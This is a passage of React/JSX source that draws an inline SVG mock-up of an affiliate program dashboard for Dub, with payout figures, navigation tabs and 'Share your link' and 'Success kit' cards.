d=\"M0 0h190.333v52H0z\"\n                      transform=\"translate(484.667 348)\"\n                    />\n                  </mask>\n                  <g mask={`url(#${id}-w)`}>\n                    <path\n                      fill={\n                        brandColor\n                          ? \"currentColor\"\n                          : `url(#${id}-color-gradient)`\n                      }\n                      d=\"M651.292 359.026 627.417 376.5l-23.875-6.026-23.875 4.821-23.875-1.205-23.875-6.628-23.875 12.051-23.875 4.82V400h191v-47z\"\n                      opacity=\"0.15\"\n                    />\n                  </g>\n                  <path\n                    stroke={\n                      brandColor ? \"currentColor\" : `url(#${id}-color-gradient)`\n                    }\n                    strokeLinecap=\"round\"\n                    strokeLinejoin=\"round\"\n                    strokeWidth=\"1.5\"\n                    d=\"m484.667 384.729 23.699-6.06a1 1 0 0 0 .179-.064l23.369-11.009c.217-.102.463-.123.694-.059l23.323 6.484a1 1 0 0 0 .225.036l23.571 1.011q.107.005.212-.013l23.496-4.033c.125-.021.254-.019.379.008l23.174 4.972c.273.058.559 0 .787-.161l23.283-16.443c.099-.07.211-.122.328-.152L675 353.188\"\n                  />\n                  <rect\n                    width=\"299\"\n                    height=\"111\"\n                    x=\"707.5\"\n                    y=\"298.5\"\n                    fill=\"#fff\"\n                    rx=\"7.5\"\n                  />\n                  <rect\n                    width=\"299\"\n                    height=\"111\"\n                    x=\"707.5\"\n                    y=\"298.5\"\n                    stroke=\"#E5E5E5\"\n                    rx=\"7.5\"\n                  />\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#737373\"\n                    fontSize=\"13\"\n                    letterSpacing=\"0em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"723\" y=\"325.727\">\n                      Payouts\n                    </tspan>\n                  </text>\n                  <path\n                    fill=\"#fff\"\n                    d=\"M924 307.5h62a5.5 5.5 0 0 1 5.5 5.5v16a5.5 5.5 0 0 1-5.5 5.5h-62a5.5 5.5 0 0 1-5.5-5.5v-16a5.5 5.5 0 0 1 5.5-5.5\"\n                  />\n                  <path\n                    stroke=\"#D4D4D4\"\n                    d=\"M924 307.5h62a5.5 5.5 0 0 1 5.5 5.5v16a5.5 5.5 0 0 1-5.5 5.5h-62a5.5 5.5 0 0 1-5.5-5.5v-16a5.5 5.5 0 0 1 5.5-5.5Z\"\n                  />\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#171717\"\n                    fontSize=\"14\"\n                    fontWeight=\"500\"\n                    letterSpacing=\"-.02em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"928.158\" y=\"326.091\">\n                      Settings\n                    </tspan>\n                  </text>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#404040\"\n                    fontSize=\"14\"\n                    fontWeight=\"500\"\n                    letterSpacing=\"0em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"723\" y=\"365.591\">\n                      Upcoming\n                    </tspan>\n                  </text>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#262626\"\n                    fontSize=\"14\"\n                    fontWeight=\"500\"\n                    letterSpacing=\"0em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"951\" y=\"365.591\">\n                      $0.00\n                    </tspan>\n                  </text>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#404040\"\n                    fontSize=\"14\"\n                    fontWeight=\"500\"\n                    letterSpacing=\"0em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"723\" y=\"390.591\">\n                      Total\n                    </tspan>\n                  </text>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#262626\"\n                    fontSize=\"14\"\n                    fontWeight=\"500\"\n                    letterSpacing=\"0em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"951\" y=\"390.591\">\n                      $0.00\n                    </tspan>\n                  </text>\n                  <mask id={`${id}-x`} fill=\"#fff\">\n                    <path d=\"M24 426h983v55H24z\" />\n                  </mask>\n                  <path fill=\"#fff\" d=\"M24 426h983v55H24z\" />\n                  <path\n                    fill=\"#E5E5E5\"\n                    d=\"M1007 481v-1H24v2h983z\"\n                    mask={`url(#${id}-x)`}\n                  />\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#171717\"\n                    fontSize=\"14\"\n                    fontWeight=\"500\"\n                    letterSpacing=\"-.02em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"24\" y=\"458.591\">\n                      Quickstart\n                    </tspan>\n                  </text>\n                  <path fill=\"#171717\" d=\"M24 479.5h68v2H24z\" />\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#A1A1A1\"\n                    fontSize=\"14\"\n                    fontWeight=\"500\"\n                    letterSpacing=\"-.02em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"108\" y=\"458.591\">\n                      Earnings\n                    </tspan>\n                  </text>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#A1A1A1\"\n                    fontSize=\"14\"\n                    fontWeight=\"500\"\n                    letterSpacing=\"-.02em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"181\" y=\"458.591\">\n                      Links\n                    </tspan>\n                  </text>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#A1A1A1\"\n                    fontSize=\"14\"\n                    fontWeight=\"500\"\n                    letterSpacing=\"-.02em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"231\" y=\"458.591\">\n                      Leaderboard\n                    </tspan>\n                  </text>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#A1A1A1\"\n                    fontSize=\"14\"\n                    fontWeight=\"500\"\n                    letterSpacing=\"-.02em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"330\" y=\"458.591\">\n                      FAQ\n                    </tspan>\n                  </text>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#A1A1A1\"\n                    fontSize=\"14\"\n                    fontWeight=\"500\"\n                    letterSpacing=\"-.02em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"373\" y=\"458.591\">\n                      Resources\n                    </tspan>\n                  </text>\n                  <rect\n                    width=\"982\"\n                    height=\"368\"\n                    x=\"24.5\"\n                    y=\"505.5\"\n                    fill=\"#fff\"\n                    rx=\"7.5\"\n                  />\n                  <rect\n                    width=\"982\"\n                    height=\"368\"\n                    x=\"24.5\"\n                    y=\"505.5\"\n                    stroke=\"#E5E5E5\"\n                    rx=\"7.5\"\n                  />\n                  <rect\n                    width=\"306.333\"\n                    height=\"337\"\n                    x=\"40\"\n                    y=\"521\"\n                    fill=\"#FAFAFA\"\n                    rx=\"8\"\n                  />\n                  <path fill=\"#FAFAFA\" d=\"M96.167 541h194v121h-194z\" />\n                  <rect\n                    width=\"32\"\n                    height=\"32\"\n                    x=\"129.167\"\n                    y=\"553\"\n                    fill=\"#FAFAFA\"\n                    rx=\"6\"\n                  />\n                  <rect\n                    width=\"32\"\n                    height=\"32\"\n                    x=\"129.167\"\n                    y=\"553\"\n                    stroke=\"#E6E6E6\"\n                    rx=\"6\"\n                  />\n                  <rect\n                    width=\"32\"\n                    height=\"32\"\n                    x=\"161.167\"\n                    y=\"553\"\n                    fill=\"#fff\"\n                    rx=\"6\"\n                  />\n                  <rect\n                    width=\"32\"\n                    height=\"32\"\n                    x=\"161.167\"\n                    y=\"553\"\n                    stroke=\"#E6E6E6\"\n                    rx=\"6\"\n                  />\n                  <path\n                    fill=\"#404040\"\n                    fillRule=\"evenodd\"\n                    d=\"M172.189 575.4h9.955c.786 0 1.423-.637 1.423-1.422v-9.956c0-.785-.637-1.422-1.423-1.422h-9.955c-.786 0-1.422.637-1.422 1.422v9.956c0 .785.636 1.422 1.422 1.422\"\n                    clipRule=\"evenodd\"\n                  />\n                  <path\n                    fill=\"#fff\"\n                    fillRule=\"evenodd\"\n                    d=\"M181.789 573.622h-1.899v-3.235c0-.887-.337-1.382-1.039-1.382-.764 0-1.163.515-1.163 1.382v3.235h-1.831v-6.162h1.831v.83s.55-1.019 1.858-1.019c1.307 0 2.243.799 2.243 2.449zm-8.115-6.969c-.624 0-1.129-.51-1.129-1.138s.505-1.137 1.129-1.137c.623 0 1.128.509 1.128 1.137s-.505 1.138-1.128 1.138m-.946 6.969h1.909v-6.162h-1.909z\"\n                    clipRule=\"evenodd\"\n                  />\n                  <rect\n                    width=\"32\"\n                    height=\"32\"\n                    x=\"193.167\"\n                    y=\"553\"\n                    fill=\"#FAFAFA\"\n                    rx=\"6\"\n                  />\n                  <rect\n                    width=\"32\"\n                    height=\"32\"\n                    x=\"193.167\"\n                    y=\"553\"\n                    stroke=\"#E6E6E6\"\n                    rx=\"6\"\n                  />\n                  <rect\n                    width=\"32\"\n                    height=\"32\"\n                    x=\"225.167\"\n                    y=\"553\"\n                    fill=\"#fff\"\n                    rx=\"6\"\n                  />\n                  <rect\n                    width=\"32\"\n                    height=\"32\"\n                    x=\"225.167\"\n                    y=\"553\"\n                    stroke=\"#E6E6E6\"\n                    rx=\"6\"\n                  />\n                  <g\n                    stroke=\"#737373\"\n                    strokeLinecap=\"round\"\n                    strokeLinejoin=\"round\"\n                    strokeWidth=\"1.5\"\n                    clipPath={`url(#${id}-y)`}\n                  >\n                    <path d=\"M244.133 565.237a5.55 5.55 0 0 0-4.747-2.681 5.553 5.553 0 0 0-5.553 5.553c0 1.01.274 1.955.746 2.771.329.618-.04 2.077-.746 2.782.958.052 2.22-.38 2.783-.746a5.5 5.5 0 0 0 1.745.65c.1.019.207.015.308.029\" />\n                    <path d=\"M244.5 567.441a4 4 0 0 1 4 4c0 .728-.197 1.408-.537 1.996-.237.445.029 1.496.537 2.005-.69.037-1.598-.275-2.004-.537a4.03 4.03 0 0 1-1.997.538 4 4 0 1 1 0-8z\" />\n                  </g>\n                  <rect\n                    width=\"32\"\n                    height=\"32\"\n                    x=\"129.167\"\n                    y=\"585\"\n                    fill=\"#fff\"\n                    rx=\"6\"\n                  />\n                  <rect\n                    width=\"32\"\n                    height=\"32\"\n                    x=\"129.167\"\n                    y=\"585\"\n                    stroke=\"#E6E6E6\"\n                    rx=\"6\"\n                  />\n                  <g\n                    stroke=\"#737373\"\n                    strokeLinecap=\"round\"\n                    strokeLinejoin=\"round\"\n                    strokeWidth=\"1.5\"\n                    clipPath={`url(#${id}-z)`}\n                  >\n                    <path d=\"m138.722 598.111 6.015 3.318a.89.89 0 0 0 .859 0l6.015-3.318M150.278 603l2.222 2.222-2.222 2.222\" />\n                    <path d=\"M151.611 601.235v-3.568c0-.982-.795-1.778-1.778-1.778H140.5c-.982 0-1.778.796-1.778 1.778v6.666c0 .982.796 1.778 1.778 1.778h5.521m6.479-.889h-4.444\" />\n                  </g>\n                  <rect\n                    width=\"32\"\n                    height=\"32\"\n                    x=\"161.167\"\n                    y=\"585\"\n                    fill=\"#FAFAFA\"\n                    rx=\"6\"\n                  />\n                  <rect\n                    width=\"32\"\n                    height=\"32\"\n                    x=\"161.167\"\n                    y=\"585\"\n                    stroke=\"#E6E6E6\"\n                    rx=\"6\"\n                  />\n                  <rect\n                    width=\"32\"\n                    height=\"32\"\n                    x=\"193.167\"\n                    y=\"585\"\n                    fill=\"#fff\"\n                    rx=\"6\"\n                  />\n                  <rect\n                    width=\"32\"\n                    height=\"32\"\n                    x=\"193.167\"\n                    y=\"585\"\n                    stroke=\"#E6E6E6\"\n                    rx=\"6\"\n                  />\n                  <path\n                    fill=\"#171717\"\n                    d=\"m210.379 600.021 4.761-5.421h-1.128l-4.136 4.706-3.301-4.706h-3.809l4.993 7.116-4.993 5.684h1.128l4.365-4.97 3.488 4.97h3.808m-11.254-11.967h1.733l7.978 11.175h-1.734\"\n                  />\n                  <rect\n                    width=\"32\"\n                    height=\"32\"\n                    x=\"225.167\"\n                    y=\"585\"\n                    fill=\"#FAFAFA\"\n                    rx=\"6\"\n                  />\n                  <rect\n                    width=\"32\"\n                    height=\"32\"\n                    x=\"225.167\"\n                    y=\"585\"\n                    stroke=\"#E6E6E6\"\n                    rx=\"6\"\n                  />\n                  <rect\n                    width=\"32\"\n                    height=\"32\"\n                    x=\"129.167\"\n                    y=\"617\"\n                    fill=\"#FAFAFA\"\n                    rx=\"6\"\n                  />\n                  <rect\n                    width=\"32\"\n                    height=\"32\"\n                    x=\"129.167\"\n                    y=\"617\"\n                    stroke=\"#E6E6E6\"\n                    rx=\"6\"\n                  />\n                  <rect\n                    width=\"32\"\n                    height=\"32\"\n                    x=\"161.167\"\n                    y=\"617\"\n                    fill=\"#fff\"\n                    rx=\"6\"\n                  />\n                  <rect\n                    width=\"32\"\n                    height=\"32\"\n                    x=\"161.167\"\n                    y=\"617\"\n                    stroke=\"#E6E6E6\"\n                    rx=\"6\"\n                  />\n                  <g clipPath={`url(#${id}-A)`}>\n                    <path\n                      stroke=\"#737373\"\n                      strokeLinecap=\"round\"\n                      strokeLinejoin=\"round\"\n                      strokeWidth=\"1.5\"\n                      d=\"M172.5 635.184v2.404c0 .364.222.691.561.825l1.729.687a.89.89 0 0 0 1.008-.252l1.481-1.759m3.888 1.467c1.35 0 2.444-2.488 2.444-5.556s-1.094-5.556-2.444-5.556-2.445 2.488-2.445 5.556 1.095 5.556 2.445 5.556\"\n                    />\n                    <path\n                      stroke=\"#737373\"\n                      strokeLinecap=\"round\"\n                      strokeLinejoin=\"round\"\n                      strokeWidth=\"1.5\"\n                      d=\"m180.681 638.444-9.194-3.664a.9.9 0 0 1-.502-.488 3.3 3.3 0 0 1-.263-1.292c0-.241.027-.726.257-1.276a.92.92 0 0 1 .509-.504c3.234-1.252 5.96-2.413 9.193-3.665\"\n                    />\n                    <path\n                      fill=\"#737373\"\n                      d=\"M182.056 633c0-.736-.598-1.333-1.334-1.333-.047 0-.091.009-.138.014a10.4 10.4 0 0 0 0 2.638c.047.005.091.014.138.014.736 0 1.334-.597 1.334-1.333\"\n                    />\n                  </g>\n                  <rect\n                    width=\"32\"\n                    height=\"32\"\n                    x=\"193.167\"\n                    y=\"617\"\n                    fill=\"#FAFAFA\"\n                    rx=\"6\"\n                  />\n                  <rect\n                    width=\"32\"\n                    height=\"32\"\n                    x=\"193.167\"\n                    y=\"617\"\n                    stroke=\"#E6E6E6\"\n                    rx=\"6\"\n                  />\n                  <rect\n                    width=\"32\"\n                    height=\"32\"\n                    x=\"225.167\"\n                    y=\"617\"\n                    fill=\"#fff\"\n                    rx=\"6\"\n                  />\n                  <rect\n                    width=\"32\"\n                    height=\"32\"\n                    x=\"225.167\"\n                    y=\"617\"\n                    stroke=\"#E6E6E6\"\n                    rx=\"6\"\n                  />\n                  <path\n                    stroke=\"#737373\"\n                    strokeLinecap=\"round\"\n                    strokeLinejoin=\"round\"\n                    strokeWidth=\"1.5\"\n                    d=\"M239.167 627.444H236.5a.89.89 0 0 0-.889.889V631c0 .491.398.889.889.889h2.667a.89.89 0 0 0 .889-.889v-2.667a.89.89 0 0 0-.889-.889m6.666 0h-2.666a.89.89 0 0 0-.889.889V631c0 .491.398.889.889.889h2.666a.89.89 0 0 0 .889-.889v-2.667a.89.89 0 0 0-.889-.889m-6.666 6.667H236.5a.89.89 0 0 0-.889.889v2.667c0 .491.398.889.889.889h2.667a.89.89 0 0 0 .889-.889V635a.89.89 0 0 0-.889-.889\"\n                  />\n                  <mask id={`${id}-B`} fill=\"#fff\">\n                    <path d=\"M238.5 629h-1.333v1.333h1.333z\" />\n                  </mask>\n                  <path\n                    fill=\"#737373\"\n                    stroke=\"#737373\"\n                    strokeWidth=\"2\"\n                    d=\"M238.5 629h-1.333v1.333h1.333z\"\n                    mask={`url(#${id}-B)`}\n                  />\n                  <mask id={`${id}-C`} fill=\"#fff\">\n                    <path d=\"M245.167 629h-1.334v1.333h1.334z\" />\n                  </mask>\n                  <path\n                    fill=\"#737373\"\n                    stroke=\"#737373\"\n                    strokeWidth=\"2\"\n                    d=\"M245.167 629h-1.334v1.333h1.334z\"\n                    mask={`url(#${id}-C)`}\n                  />\n                  <mask id={`${id}-D`} fill=\"#fff\">\n                    <path d=\"M238.5 635.667h-1.333V637h1.333z\" />\n                  </mask>\n                  <path\n                    fill=\"#737373\"\n                    stroke=\"#737373\"\n                    strokeWidth=\"2\"\n                    d=\"M238.5 635.667h-1.333V637h1.333z\"\n                    mask={`url(#${id}-D)`}\n                  />\n                  <mask id={`${id}-E`} fill=\"#fff\">\n                    <path d=\"M247.389 637.889h-1.333v1.333h1.333z\" />\n                  </mask>\n                  <path\n                    fill=\"#737373\"\n                    stroke=\"#737373\"\n                    strokeWidth=\"2\"\n                    d=\"M247.389 637.889h-1.333v1.333h1.333z\"\n                    mask={`url(#${id}-E)`}\n                  />\n                  <mask id={`${id}-F`} fill=\"#fff\">\n                    <path d=\"M246.056 636.556h-1.334v1.333h1.334z\" />\n                  </mask>\n                  <path\n                    fill=\"#737373\"\n                    stroke=\"#737373\"\n                    strokeWidth=\"2\"\n                    d=\"M246.056 636.556h-1.334v1.333h1.334z\"\n                    mask={`url(#${id}-F)`}\n                  />\n                  <mask id={`${id}-G`} fill=\"#fff\">\n                    <path d=\"M247.389 635.222h-1.333v1.334h1.333z\" />\n                  </mask>\n                  <path\n                    fill=\"#737373\"\n                    stroke=\"#737373\"\n                    strokeWidth=\"2\"\n                    d=\"M247.389 635.222h-1.333v1.334h1.333z\"\n                    mask={`url(#${id}-G)`}\n                  />\n                  <mask id={`${id}-H`} fill=\"#fff\">\n                    <path d=\"M244.722 637.889h-1.778v1.333h1.778z\" />\n                  </mask>\n                  <path\n                    fill=\"#737373\"\n                    stroke=\"#737373\"\n                    strokeWidth=\"2\"\n                    d=\"M244.722 637.889h-1.778v1.333h1.778z\"\n                    mask={`url(#${id}-H)`}\n                  />\n                  <mask id={`${id}-I`} fill=\"#fff\">\n                    <path d=\"M242.944 635.222h-1.333v2.667h1.333z\" />\n                  </mask>\n                  <path\n                    fill=\"#737373\"\n                    stroke=\"#737373\"\n                    strokeWidth=\"2\"\n                    d=\"M242.944 635.222h-1.333v2.667h1.333z\"\n                    mask={`url(#${id}-I)`}\n                  />\n                  <mask id={`${id}-J`} fill=\"#fff\">\n                    <path d=\"M246.056 633.889h-3.112v1.333h3.112z\" />\n                  </mask>\n                  <path\n                    fill=\"#737373\"\n                    stroke=\"#737373\"\n                    strokeWidth=\"2\"\n                    d=\"M246.056 633.889h-3.112v1.333h3.112z\"\n                    mask={`url(#${id}-J)`}\n                  />\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#000\"\n                    fontSize=\"16\"\n                    fontWeight=\"600\"\n                    letterSpacing=\"-.02em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"137.667\" y=\"699.818\">\n                      Share your link\n                    </tspan>\n                  </text>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#525252\"\n                    fontSize=\"14\"\n                    letterSpacing=\"-.02em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"82.126\" y=\"733.091\">\n                      Sharing is caring! Recommend Dub{\" \"}\n                    </tspan>\n                    <tspan x=\"80.556\" y=\"753.091\">\n                      to all your friends, family, and social{\" \"}\n                    </tspan>\n                    <tspan x=\"162.694\" y=\"773.091\">\n                      followers.\n                    </tspan>\n                  </text>\n                  <path\n                    fill=\"#171717\"\n                    d=\"M66 798.5h254.333a5.5 5.5 0 0 1 5.5 5.5v28a5.5 5.5 0 0 1-5.5 5.5H66a5.5 5.5 0 0 1-5.5-5.5v-28a5.5 5.5 0 0 1 5.5-5.5\"\n                  />\n                  <path\n                    stroke=\"#E5E5E5\"\n                    d=\"M66 798.5h254.333a5.5 5.5 0 0 1 5.5 5.5v28a5.5 5.5 0 0 1-5.5 5.5H66a5.5 5.5 0 0 1-5.5-5.5v-28a5.5 5.5 0 0 1 5.5-5.5Z\"\n                  />\n                  <g clipPath={`url(#${id}-K)`}>\n                    <path\n                      stroke=\"#fff\"\n                      strokeLinecap=\"round\"\n                      strokeLinejoin=\"round\"\n                      strokeWidth=\"1.5\"\n                      d=\"M155.389 820.889h-.889a1.78 1.78 0 0 1-1.778-1.778v-4.889c0-.982.796-1.778 1.778-1.778h6.667c.982 0 1.777.796 1.777 1.778v.889m.889 8.444h-6.666a1.777 1.777 0 0 1-1.778-1.777v-4.889c0-.982.796-1.778 1.778-1.778h6.666c.982 0 1.778.796 1.778 1.778v4.889c0 .982-.796 1.777-1.778 1.777\"\n                    />\n                  </g>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#fff\"\n                    fontSize=\"14\"\n                    fontWeight=\"500\"\n                    letterSpacing=\"-.02em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"175.347\" y=\"823.091\">\n                      Copy link\n                    </tspan>\n                  </text>\n                  <rect\n                    width=\"306.333\"\n                    height=\"337\"\n                    x=\"362.333\"\n                    y=\"521\"\n                    fill=\"#FAFAFA\"\n                    rx=\"8\"\n                  />\n                  <path fill=\"#FAFAFA\" d=\"M418.5 541h194v121h-194z\" />\n                  <circle\n                    cx=\"537.5\"\n                    cy=\"564\"\n                    r=\"15.5\"\n                    fill=\"#FAFAFA\"\n                    stroke=\"#E6E6E6\"\n                  />\n                  <rect\n                    width=\"38\"\n                    height=\"38\"\n                    x=\"496.5\"\n                    y=\"582\"\n                    fill=\"#fff\"\n                    rx=\"19\"\n                  />\n                  <rect\n                    width=\"38\"\n                    height=\"38\"\n                    x=\"496.5\"\n                    y=\"582\"\n                    stroke=\"#E6E6E6\"\n                    rx=\"19\"\n                  />\n                  {/* Success kit logo */}\n                  <image\n                    width=\"30\"\n                    height=\"30\"\n                    x=\"500.5\"\n                    y=\"586\"\n                    href={logo || `${OG_AVATAR_URL}${program.name}`}\n                    clipPath=\"inset(0% round 80px)\"\n                  />\n                  <rect\n                    width=\"31\"\n                    height=\"31\"\n                    x=\"544\"\n                    y=\"585.5\"\n                    fill=\"#fff\"\n                    rx=\"15.5\"\n                  />\n                  <rect\n                    width=\"31\"\n                    height=\"31\"\n                    x=\"544\"\n                    y=\"585.5\"\n                    stroke=\"#E6E6E6\"\n                    rx=\"15.5\"\n                  />\n                  <path\n                    stroke=\"#737373\"\n                    strokeLinecap=\"round\"\n                    strokeLinejoin=\"round\"\n                    strokeWidth=\"1.5\"\n                    d=\"m554.648 596.209-1.559 4.072a.5.5 0 0 0 .546.67l4.336-.71a.498.498 0 0 0 .303-.809l-2.776-3.362a.5.5 0 0 0-.85.139m8.852 3.235a2.444 2.444 0 1 0 0-4.887 2.444 2.444 0 0 0 0 4.887m.667 4.682a6.46 6.46 0 0 0-2.383 3.318 6.47 6.47 0 0 0-3.319-2.383 6.45 6.45 0 0 0 2.383-3.318 6.47 6.47 0 0 0 3.319 2.383\"\n                  />\n                  <rect\n                    width=\"31\"\n                    height=\"31\"\n                    x=\"479\"\n                    y=\"548.5\"\n                    fill=\"#fff\"\n                    rx=\"15.5\"\n                  />\n                  <rect\n                    width=\"31\"\n                    height=\"31\"\n                    x=\"479\"\n                    y=\"548.5\"\n                    stroke=\"#E6E6E6\"\n                    rx=\"15.5\"\n                  />\n                  <g\n                    stroke=\"#737373\"\n                    strokeLinecap=\"round\"\n                    strokeLinejoin=\"round\"\n                    strokeWidth=\"1.5\"\n                    clipPath={`url(#${id}-L)`}\n                  >\n                    <path d=\"M491.611 562h1.778m-1.778 2.667h4m4.365-3.111h-3.032a.89.89 0 0 1-.888-.889v-3.021\" />\n                    <path d=\"M500.056 566v-4.076a.9.9 0 0 0-.261-.629l-3.479-3.479a.9.9 0 0 0-.628-.26h-4.966c-.982 0-1.778.796-1.778 1.777v9.334c0 .981.796 1.777 1.778 1.777h4.488m2.174-.444 1.43 1.333 3.019-4\" />\n                  </g>\n                  <rect\n                    width=\"31\"\n                    height=\"31\"\n                    x=\"479\"\n                    y=\"623.5\"\n                    fill=\"#fff\"\n                    rx=\"15.5\"\n                  />\n                  <rect\n                    width=\"31\"\n                    height=\"31\"\n                    x=\"479\"\n                    y=\"623.5\"\n                    stroke=\"#E6E6E6\"\n                    rx=\"15.5\"\n                  />\n                  <path\n                    stroke=\"#737373\"\n                    strokeLinecap=\"round\"\n                    strokeLinejoin=\"round\"\n                    strokeWidth=\"1.5\"\n                    d=\"M493.881 645.415a6.446 6.446 0 0 1-5.82-6.691c.14-3.347 2.978-6.111 6.328-6.168a6.445 6.445 0 0 1 6.555 6.444 2.444 2.444 0 0 1-2.444 2.444h-2.634c-.919 0-1.504.981-1.069 1.79l.211.392c.231.429.183.954-.121 1.334-.243.304-.619.492-1.006.455\"\n                  />\n                  <path\n                    fill=\"#737373\"\n                    d=\"M494.5 636.333a.889.889 0 1 0 0-1.778.889.889 0 0 0 0 1.778m-2.514 1.042a.889.889 0 1 0 0-1.778.889.889 0 0 0 0 1.778m5.028 0a.889.889 0 1 0 0-1.778.889.889 0 0 0 0 1.778m-6.07 2.514a.889.889 0 1 0 0-1.778.889.889 0 0 0 0 1.778\"\n                  />\n                  <circle\n                    cx=\"537.5\"\n                    cy=\"639\"\n                    r=\"15.5\"\n                    fill=\"#FAFAFA\"\n                    stroke=\"#E6E6E6\"\n                  />\n                  <circle\n                    cx=\"472.5\"\n                    cy=\"601\"\n                    r=\"15.5\"\n                    fill=\"#FAFAFA\"\n                    stroke=\"#E6E6E6\"\n                  />\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#000\"\n                    fontSize=\"16\"\n                    fontWeight=\"600\"\n                    letterSpacing=\"-.02em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"472.5\" y=\"699.818\">\n                      Success kit\n                    </tspan>\n                  </text>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#525252\"\n                    fontSize=\"14\"\n                    letterSpacing=\"-.02em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"397.001\" y=\"733.091\">\n                      Make sure you get set up for success{\" \"}\n                    </tspan>\n                    <tspan x=\"382.227\" y=\"753.091\">\n                      with the official brand files and supportive{\" \"}\n                    </tspan>\n                    <tspan x=\"437.906\" y=\"773.091\">\n                      content and documents.\n                    </tspan>\n                  </text>\n                  <path\n                    fill=\"#171717\"\n                    d=\"M382.333 804a6 6 0 0 1 6-6h254.334a6 6 0 0 1 6 6v28a6 6 0 0 1-6 6H388.333a6 6 0 0 1-6-6z\"\n                  />\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#fff\"\n                    fontSize=\"14\"\n                    fontWeight=\"500\"\n                    letterSpacing=\"-.02em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"465.77\" y=\"823.091\">\n                      View resources\n                    </tspan>\n                  </text>\n                  <rect\n                    width=\"306.333\"\n                    height=\"337\"\n                    x=\"684.667\"\n                    y=\"521\"\n                    fill=\"#FAFAFA\"\n                    rx=\"8\"\n                  />\n                  <path fill=\"#FAFAFA\" d=\"M740.833 541h194v121h-194z\" />\n                  <rect\n                    width=\"127\"\n                    height=\"84\"\n                    x=\"774.333\"\n                    y=\"542.5\"\n                    stroke=\"#E6E6E6\"\n                    rx=\"10.5\"\n                  />\n                  <rect\n                    width=\"113\"\n                    height=\"70\"\n                    x=\"781.333\"\n                    y=\"549.5\"\n                    fill=\"#fff\"\n                    rx=\"5.5\"\n                  />\n                  <rect\n                    width=\"113\"\n                    height=\"70\"\n                    x=\"781.333\"\n                    y=\"549.5\"\n                    stroke=\"#E6E6E6\"\n                    rx=\"5.5\"\n                  />\n                  {/* Success kit logo */}\n                  <image\n                    width=\"14\"\n                    height=\"14\"\n                    x=\"788.833\"\n                    y=\"557\"\n                    href={logo || `${OG_AVATAR_URL}${program.name}`}\n                    clipPath=\"inset(0% round 80px)\"\n                  />\n                  <path\n                    fill=\"#0A2540\"\n                    fillRule=\"evenodd\"\n                    d=\"M886.833 564.186c0-1.904-.895-3.407-2.607-3.407-1.719 0-2.759 1.503-2.759 3.392 0 2.239 1.228 3.37 2.99 3.37.86 0 1.51-.201 2.001-.484v-1.487c-.491.252-1.055.409-1.77.409-.7 0-1.321-.253-1.401-1.131h3.532c0-.097.014-.483.014-.662m-3.568-.707c0-.84.499-1.19.954-1.19.44 0 .91.35.91 1.19zm-4.586-2.7c-.707 0-1.162.342-1.415.58l-.094-.461h-1.589v8.673l1.806-.394.007-2.105c.26.194.643.469 1.278.469 1.293 0 2.47-1.071 2.47-3.429-.007-2.158-1.199-3.333-2.463-3.333m-.433 5.125c-.426 0-.679-.156-.852-.349l-.007-2.76c.187-.216.447-.365.859-.365.657 0 1.112.759 1.112 1.734 0 .996-.448 1.74-1.112 1.74m-5.149-5.564 1.812-.401v-1.51l-1.812.394zm0 .566h1.812v6.508h-1.812zm-1.943.55-.116-.55h-1.56v6.508h1.806v-4.411c.426-.573 1.148-.468 1.372-.387v-1.71c-.231-.09-1.076-.253-1.502.55m-3.611-2.165-1.763.387-.007 5.958c0 1.101.802 1.912 1.871 1.912.592 0 1.025-.111 1.264-.245v-1.51c-.231.096-1.373.439-1.373-.662v-2.641h1.373v-1.584h-1.373zm-4.883 3.504c0-.29.232-.402.614-.402.549 0 1.243.171 1.791.476v-1.748a4.6 4.6 0 0 0-1.791-.342c-1.466 0-2.441.789-2.441 2.105 0 2.053 2.745 1.726 2.745 2.611 0 .342-.289.454-.694.454-.599 0-1.365-.253-1.971-.595v1.77a4.9 4.9 0 0 0 1.971.424c1.503 0 2.535-.766 2.535-2.097-.007-2.217-2.759-1.823-2.759-2.656\"\n                    clipRule=\"evenodd\"\n                    opacity=\"0.2\"\n                  />\n                  <text\n                    